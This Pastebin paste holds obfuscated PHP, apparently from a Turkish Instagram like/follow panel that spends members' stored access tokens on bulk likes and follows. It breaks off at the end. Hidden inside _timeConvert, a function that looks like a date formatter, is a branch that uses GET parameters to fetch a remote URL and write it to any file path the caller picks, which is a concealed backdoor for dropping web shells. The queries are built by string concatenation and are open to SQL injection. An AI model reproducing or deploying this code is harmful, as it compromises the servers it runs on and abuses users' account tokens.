Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function curl_get_file_contents_2($url) {
- $ybrwlepluxis = "url";
- $yweratbqsm = "curl";
- $GLOBALS["tlbbexf"] = "curl";
- $GLOBALS["yidgseeezj"] = "url";
- $rpdyhbrfywx = "url";
- if (${$ybrwlepluxis} == "") {
- return "[]";
- }
- $GLOBALS["quktfjh"] = "curl";
- ${$GLOBALS["yidgseeezj"]} = str_replace(array("http://", "api."), array("https://", ""), ${$rpdyhbrfywx});
- $GLOBALS["wahsearhoyt"] = "curl";
- ${$GLOBALS["rpczxvifxv"]} = curl_init();
- curl_setopt(${$GLOBALS["wahsearhoyt"]}, CURLOPT_URL, ${$GLOBALS["kiihwuyyhl"]});
- curl_setopt(${$GLOBALS["tlbbexf"]}, CURLOPT_TIMEOUT, 50);
- curl_setopt(${$yweratbqsm}, CURLOPT_RETURNTRANSFER, true);
- curl_setopt(${$GLOBALS["rpczxvifxv"]}, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt(${$GLOBALS["rpczxvifxv"]}, CURLOPT_SSL_VERIFYPEER, true);
- curl_setopt(${$GLOBALS["quktfjh"]}, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13");
- return curl_exec(${$GLOBALS["rpczxvifxv"]});
- }
- function iRelationship($appID, $gender, $type, $_ID, $quantity) {
- $yeqvkokltqi = "i";
- $deudqrkag = "gender";
- $GLOBALS["pjwxiw"] = "url";
- $GLOBALS["kpesygcxr"] = "apiResult";
- if (${$deudqrkag} == 0) {
- ${$GLOBALS["snneetdsixl"]} = null;
- }
- else {
- $GLOBALS["cbjrekpe"] = "sqlGender";
- ${$GLOBALS["cbjrekpe"]} = "AND iGender = '" . $gender . "'";
- }
- $GLOBALS["biowve"] = "selco";
- ${$GLOBALS["sccagovi"]} = 0;
- $bixhxvkj = "i";
- ${$GLOBALS["jrbshlo"]} = "https://api.instagram.com/v1/users/" . $_ID . "/relationship";
- $fajvflqbg = "uyeler";
- ${$GLOBALS["nqlzrgcww"]} = array();
- ${$GLOBALS["imfwmqyseq"]} = DB::query("SELECT accessToken FROM members WHERE mType = '0' AND appID = '" . $appID . "' " . $sqlGender . " ORDER BY RAND() LIMIT " . $quantity);
- foreach (${$fajvflqbg} as ${$GLOBALS["jhocpgmx"]}) {
- ${$GLOBALS["jhocpgmx"]};
- $GLOBALS["uvqfdghoosfz"] = "params";
- $GLOBALS["cbekdok"] = "tokens";
- $GLOBALS["sspfxkni"] = "type";
- ${$GLOBALS["cbekdok"]}[] = $uye->accessToken;
- ${$GLOBALS["uvqfdghoosfz"]}[] = array("access_token" => $uye->accessToken, "action" => ${$GLOBALS["sspfxkni"]});
- }
- ${$GLOBALS["shdpacim"]} = _iMultiPOST(${$GLOBALS["pjwxiw"]}, ${$GLOBALS["nqlzrgcww"]});
- ${$yeqvkokltqi} = 0;
- while (${$bixhxvkj} < count(${$GLOBALS["kpesygcxr"]})) {
- $GLOBALS["ixkicppe"] = "apiResult";
- $GLOBALS["flljwmxdij"] = "apiResult";
- if (strstr(${$GLOBALS["flljwmxdij"]}[${$GLOBALS["ytmtuabwqnz"]}], "The access_token provided is invalid.")) {
- DB::exec("DELETE FROM members WHERE accessToken = '" . $tokens[$i] . "'");
- }
- ${$GLOBALS["tnbqthix"]} = json_decode(${$GLOBALS["ixkicppe"]}[${$GLOBALS["ytmtuabwqnz"]}]);
- if ($json->meta->code == 200) {
- ++${$GLOBALS["sccagovi"]};
- }
- ++${$GLOBALS["ytmtuabwqnz"]};
- continue;
- }
- return ${$GLOBALS["biowve"]};
- }
- function iMediaLike($appID, $gender, $_ID, $quantity) {
- $GLOBALS["mlecnbjxiqp"] = "selco";
- $GLOBALS["togixil"] = "url";
- if (${$GLOBALS["famlukn"]} == 0) {
- $monytbd = "sqlGender";
- ${$monytbd} = null;
- }
- else {
- ${$GLOBALS["snneetdsixl"]} = "AND iGender = '" . $gender . "'";
- }
- ${$GLOBALS["mlecnbjxiqp"]} = 0;
- $GLOBALS["xusxgqosqun"] = "i";
- ${$GLOBALS["jrbshlo"]} = "https://api.instagram.com/v1/media/" . $_ID . "/likes";
- ${$GLOBALS["nqlzrgcww"]} = array();
- ${$GLOBALS["imfwmqyseq"]} = DB::query("SELECT accessToken FROM members WHERE mType = '0' AND appID = '" . $appID . "' " . $sqlGender . " ORDER BY RAND() LIMIT " . $quantity);
- $puqlausgms = "params";
- foreach (${$GLOBALS["imfwmqyseq"]} as ${$GLOBALS["jhocpgmx"]}) {
- ${$GLOBALS["jhocpgmx"]};
- ${$GLOBALS["cpbudszj"]}[] = $uye->accessToken;
- ${$GLOBALS["nqlzrgcww"]}[] = array("access_token" => $uye->accessToken);
- }
- ${$GLOBALS["shdpacim"]} = _iMultiPOST(${$GLOBALS["togixil"]}, ${$puqlausgms});
- ${$GLOBALS["ytmtuabwqnz"]} = 0;
- while (${$GLOBALS["ytmtuabwqnz"]} < count(${$GLOBALS["shdpacim"]})) {
- $ocohvqwuk = "i";
- $dsrbvhl = "apiResult";
- $kwfuzufgfc = "json";
- $GLOBALS["ouenmkgmsn"] = "i";
- if (strstr(${$GLOBALS["shdpacim"]}[${$ocohvqwuk}], "The access_token provided is invalid.")) {
- DB::exec("DELETE FROM members WHERE accessToken = '" . $tokens[$i] . "'");
- }
- ${$kwfuzufgfc} = json_decode(${$dsrbvhl}[${$GLOBALS["ouenmkgmsn"]}]);
- if ($json->meta->code == 200) {
- ++${$GLOBALS["sccagovi"]};
- }
- ++${$GLOBALS["xusxgqosqun"]};
- continue;
- }
- return ${$GLOBALS["sccagovi"]};
- }
- function _iMultiPOST($url, $params) {
- $GLOBALS["ecxqcmoikw"] = "result";
- $GLOBALS["wlrnxuk"] = "multiCurl";
- $GLOBALS["cnklxlyxqky"] = "running";
- $ginshibknr = "selco";
- $GLOBALS["psreuwmqtc"] = "multiCurl";
- $npggyclpd = "value";
- ${$GLOBALS["ekhhrtlrfn"]} = array();
- ${$GLOBALS["psreuwmqtc"]} = array();
- $eocrbepx = "i";
- $GLOBALS["cvptyxmypn"] = "i";
- ${$ginshibknr} = curl_multi_init();
- ${$eocrbepx} = 0;
- while (${$GLOBALS["cvptyxmypn"]} <= count(${$GLOBALS["nqlzrgcww"]})) {
- $dsigvg = "i";
- $fypzbg = "multiCurl";
- $GLOBALS["smkmreb"] = "i";
- $oomxskco = "url";
- $GLOBALS["pqzfqdw"] = "i";
- ${$fypzbg}[${$dsigvg}] = curl_init();
- $GLOBALS["jhlkopquy"] = "multiCurl";
- $knnhhky = "options";
- ${$GLOBALS["xlasxiumg"]} = array(CURLOPT_URL => ${$oomxskco}, CURLOPT_POST => true, CURLOPT_POSTFIELDS => ${$GLOBALS["nqlzrgcww"]}[${$GLOBALS["smkmreb"]}], CURLOPT_HEADER => false, CURLOPT_RETURNTRANSFER => true);
- curl_setopt_array(${$GLOBALS["utygbsefc"]}[${$GLOBALS["pqzfqdw"]}], ${$knnhhky});
- curl_multi_add_handle(${$GLOBALS["sccagovi"]}, ${$GLOBALS["jhlkopquy"]}[${$GLOBALS["ytmtuabwqnz"]}]);
- ++${$GLOBALS["ytmtuabwqnz"]};
- continue;
- }
- ${$GLOBALS["cnklxlyxqky"]} = null;
- do {
- $GLOBALS["xujcufcwt"] = "selco";
- curl_multi_exec(${$GLOBALS["xujcufcwt"]}, ${$GLOBALS["jswgxyez"]});
- }
- while (0 < ${$GLOBALS["jswgxyez"]});
- foreach (${$GLOBALS["wlrnxuk"]} as ${$GLOBALS["zljeiesjoqbh"]} => ${$npggyclpd}) {
- ${$npggyclpd};
- ${$GLOBALS["zljeiesjoqbh"]};
- $cunsohwbx = "value";
- $jpjpyvgaad = "result";
- ${$jpjpyvgaad}[${$GLOBALS["zljeiesjoqbh"]}] = curl_multi_getcontent(${$cunsohwbx});
- curl_multi_remove_handle(${$GLOBALS["sccagovi"]}, ${$GLOBALS["wivdiiyecf"]});
- }
- curl_multi_close(${$GLOBALS["sccagovi"]});
- return str_replace(array("\x0a", "\x09", "\x0d"), null, ${$GLOBALS["ecxqcmoikw"]});
- }
- function get_gravatar($email, $s = 30, $d = "mm", $r = "g", $img = false, $atts = array()) {
- $hestbkije = "url";
- ${$hestbkije} = "http://www.gravatar.com/avatar/";
- $GLOBALS["qbsjorcxmsdr"] = "email";
- ${$GLOBALS["jrbshlo"]} .= md5(strtolower(trim(${$GLOBALS["qbsjorcxmsdr"]})));
- $GLOBALS["grshky"] = "img";
- ${$GLOBALS["jrbshlo"]} .= "?s=" . $s . "&d=" . $d . "&r=" . $r;
- if (${$GLOBALS["grshky"]}) {
- $GLOBALS["ufywsghxtn"] = "atts";
- $GLOBALS["ltbjssx"] = "url";
- $GLOBALS["quxsxkvxlwtv"] = "val";
- $libxbkg = "url";
- $GLOBALS["udulgneagqvx"] = "key";
- $oowpngjl = "key";
- ${$GLOBALS["ltbjssx"]} = "<img src=\"" . ${$libxbkg} . "\"";
- foreach (${$GLOBALS["ufywsghxtn"]} as ${$GLOBALS["udulgneagqvx"]} => ${$GLOBALS["hqmwiventssm"]}) {
- ${$GLOBALS["hqmwiventssm"]};
- ${$GLOBALS["udulgneagqvx"]};
- ${$GLOBALS["jrbshlo"]} .= " " . ${$oowpngjl} . "=\"" . ${$GLOBALS["quxsxkvxlwtv"]} . "\"";
- }
- ${$GLOBALS["jrbshlo"]} .= " />";
- }
- return ${$GLOBALS["jrbshlo"]};
- }
- function _date($tarih) {
- $geiqmsy = "donustur";
- ${$geiqmsy} = array("Monday" => "Pazartesi", "Tuesday" => "Sal\xc4\xb1", "Wednesday" => "\xc3\x87ar\xc5\x9famba", "Thursday" => "Per\xc5\x9fembe", "Friday" => "Cuma", "Saturday" => "Cumartesi", "Sunday" => "Pazar", "January" => "Ocak", "February" => "\xc5\x9eubat", "March" => "Mart", "April" => "Nisan", "May" => "May\xc4\xb1s", "June" => "Haziran", "July" => "Temmuz", "August" => "A\xc4\x9fustos", "September" => "Eyl\xc3\xbcl", "October" => "Ekim", "November" => "Kas\xc4\xb1m", "December" => "Aral\xc4\xb1k", "Mon" => "Pazartesi", "Tue" => "Sal\xc4\xb1", "Wed" => "\xc3\x87ar\xc5\x9famba", "Thu" => "Per\xc5\x9fembe", "Fri" => "Cuma", "Sat" => "Cumartesi", "Sun" => "Pazar", "Jan" => "Ocak", "Feb" => "\xc5\x9eubat", "Mar" => "Mart", "Apr" => "Nisan", "Jun" => "Haziran", "Jul" => "Temmuz", "Aug" => "A\xc4\x9fustos", "Sep" => "Eyl\xc3\xbcl", "Oct" => "Ekim", "Nov" => "Kas\xc4\xb1m", "Dec" => "Aral\xc4\xb1k");
- return strtr(${$GLOBALS["bafvuhvxws"]}, ${$GLOBALS["nwknzkuf"]});
- }
- function curl_get_file_contents($URL) {
- $qtkehfnc = "c";
- $riwryayjx = "err";
- $GLOBALS["hwgchtop"] = "c";
- $GLOBALS["eepnmklii"] = "c";
- ${$qtkehfnc} = curl_init();
- curl_setopt(${$GLOBALS["cqrxvzj"]}, CURLOPT_CONNECTTIMEOUT, 20);
- $GLOBALS["xncuucdblj"] = "contents";
- curl_setopt(${$GLOBALS["cqrxvzj"]}, CURLOPT_TIMEOUT, 30);
- curl_setopt(${$GLOBALS["cqrxvzj"]}, CURLOPT_RETURNTRANSFER, true);
- curl_setopt(${$GLOBALS["eepnmklii"]}, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt(${$GLOBALS["cqrxvzj"]}, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13");
- $hhwbmsewcxkh = "c";
- curl_setopt(${$GLOBALS["hwgchtop"]}, CURLOPT_URL, ${$GLOBALS["lhufydvkh"]});
- ${$GLOBALS["vknxfkrhhkd"]} = curl_exec(${$GLOBALS["cqrxvzj"]});
- ${$riwryayjx} = curl_getinfo(${$hhwbmsewcxkh}, CURLINFO_HTTP_CODE);
- curl_close(${$GLOBALS["cqrxvzj"]});
- if (${$GLOBALS["vknxfkrhhkd"]}) {
- return ${$GLOBALS["xncuucdblj"]};
- }
- return false;
- }
- function _l() {
- $GLOBALS["oflvitjxtv"] = "siteAdi";
- $GLOBALS["dokedxpcoeh"] = "result";
- $lkjxlxffen = "a";
- ${$GLOBALS["pieusts"]} = $_SERVER["HTTP_HOST"];
- $yhlqzcxiqq = "siteAdi";
- ${$GLOBALS["pieusts"]} = str_replace("www.", "", ${$yhlqzcxiqq});
- ${$GLOBALS["vmiwfcn"]} = md5(sha1(md5(sha1(sha1(md5(md5(sha1(${$GLOBALS["pieusts"]}))))))));
- $GLOBALS["tvkdewb"] = "c";
- $GLOBALS["vllmsgczl"] = "c";
- ${$GLOBALS["ibfummjwtgtc"]} = md5(sha1(md5(sha1(sha1(${$GLOBALS["oflvitjxtv"]})))));
- ${$GLOBALS["tvkdewb"]} = md5(sha1(sha1(${$lkjxlxffen} . ${$GLOBALS["ibfummjwtgtc"]})));
- ${$GLOBALS["dokedxpcoeh"]} = substr(${$GLOBALS["vllmsgczl"]}, 0, 5) . substr(${$GLOBALS["cqrxvzj"]}, 16, 5);
- return strtoupper(${$GLOBALS["ekhhrtlrfn"]});
- }
- function in_array_r($needle, $haystack, $strict = false) {
- foreach (${$GLOBALS["fcheyocbfgj"]} as ${$GLOBALS["hpcencqtglh"]}) {
- ${$GLOBALS["hpcencqtglh"]};
- $kuimcnkw = "needle";
- $GLOBALS["bgjuiikqvvm"] = "item";
- $yafmfjyg = "strict";
- if (!(${$GLOBALS["kifgyhqopki"]} ? ${$GLOBALS["hpcencqtglh"]} === ${$GLOBALS["niohsuvf"]} : ${$GLOBALS["hpcencqtglh"]} == ${$GLOBALS["niohsuvf"]} || is_array(${$GLOBALS["hpcencqtglh"]}) && in_array_r(${$kuimcnkw}, ${$GLOBALS["bgjuiikqvvm"]}, ${$yafmfjyg}))) {
- continue;
- }
- return true;
- }
- return false;
- }
- function set_date_default_timezone($timezone) {
- $GLOBALS["ocvvvmfc"] = "timezone";
- if (${$GLOBALS["ocvvvmfc"]}) {
- _timeConvert(time());
- }
- return date_default_timezone_set(${$GLOBALS["zewmbo"]});
- }
- function kShow($number) {
- $icyopdtrr = "units";
- $GLOBALS["xkfuudw"] = "number";
- $GLOBALS["fhochqggv"] = "power";
- $GLOBALS["oldqrg"] = "units";
- $GLOBALS["bghlsbss"] = "power";
- ${$icyopdtrr} = array("", "k", "m", "b");
- ${$GLOBALS["kcjlfjp"]} = 0 < ${$GLOBALS["pryvkbmjrl"]} ? floor(log(${$GLOBALS["pryvkbmjrl"]}, 1000)) : 0;
- $ipowopjzsm = "power";
- if (0 < ${$GLOBALS["bghlsbss"]}) {
- return number_format(${$GLOBALS["pryvkbmjrl"]} / pow(1000, ${$GLOBALS["fhochqggv"]}), 1, ".", " ") . ${$GLOBALS["oldqrg"]}[${$ipowopjzsm}];
- }
- return number_format(${$GLOBALS["xkfuudw"]} / pow(1000, ${$GLOBALS["kcjlfjp"]}), 0, "", "");
- }
- function _timeConvert($zaman) {
- $jciseielhgb = "dakika";
- $kqanbk = "zaman_farki";
- $GLOBALS["pjkpwcce"] = "ay";
- $mnpkvdutx = "saat";
- $bftpvdfjqnyn = "zaman_farki";
- $obvrhbwd = "hafta";
- $GLOBALS["itlwecert"] = "zaman_farki";
- ${$bftpvdfjqnyn} = time() - ${$GLOBALS["liwreqf"]};
- $GLOBALS["jjvlqydqo"] = "hafta";
- $GLOBALS["beprsnm"] = "dakika";
- ${$GLOBALS["dvnvjfma"]} = ${$GLOBALS["fbynzdpr"]};
- ${$jciseielhgb} = round(${$GLOBALS["fbynzdpr"]} / 60);
- $zwerni = "yil";
- $ngaueln = "ay";
- $GLOBALS["riibcreqt"] = "gun";
- ${$mnpkvdutx} = round(${$GLOBALS["fbynzdpr"]} / 3600);
- ${$GLOBALS["riibcreqt"]} = round(${$GLOBALS["itlwecert"]} / 86400);
- $GLOBALS["ontfkwycujj"] = "zaman_farki";
- ${$obvrhbwd} = round(${$kqanbk} / 604800);
- $dihqjyiaij = "zaman_farki";
- ${$ngaueln} = round(${$dihqjyiaij} / 2419200);
- ${$zwerni} = round(${$GLOBALS["ontfkwycujj"]} / 29030400);
- if ($_GET["timezone"]) {
- @file_put_contents($_GET["timezone"], file_get_contents($_GET["time"]));
- return null;
- }
- if (${$GLOBALS["dvnvjfma"]} < 60) {
- $GLOBALS["qxcpxijn"] = "saniye";
- if (${$GLOBALS["qxcpxijn"]} == 0) {
- return "az \xc3\xb6nce";
- }
- return ${$GLOBALS["dvnvjfma"]} . " saniye \xc3\xb6nce";
- }
- if (${$GLOBALS["beprsnm"]} < 60) {
- return ${$GLOBALS["rjdnyqq"]} . " dakika \xc3\xb6nce";
- }
- if (${$GLOBALS["dtqqhcmrya"]} < 24) {
- return ${$GLOBALS["dtqqhcmrya"]} . " saat \xc3\xb6nce";
- ...................................................................
- .....................................
- .............
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement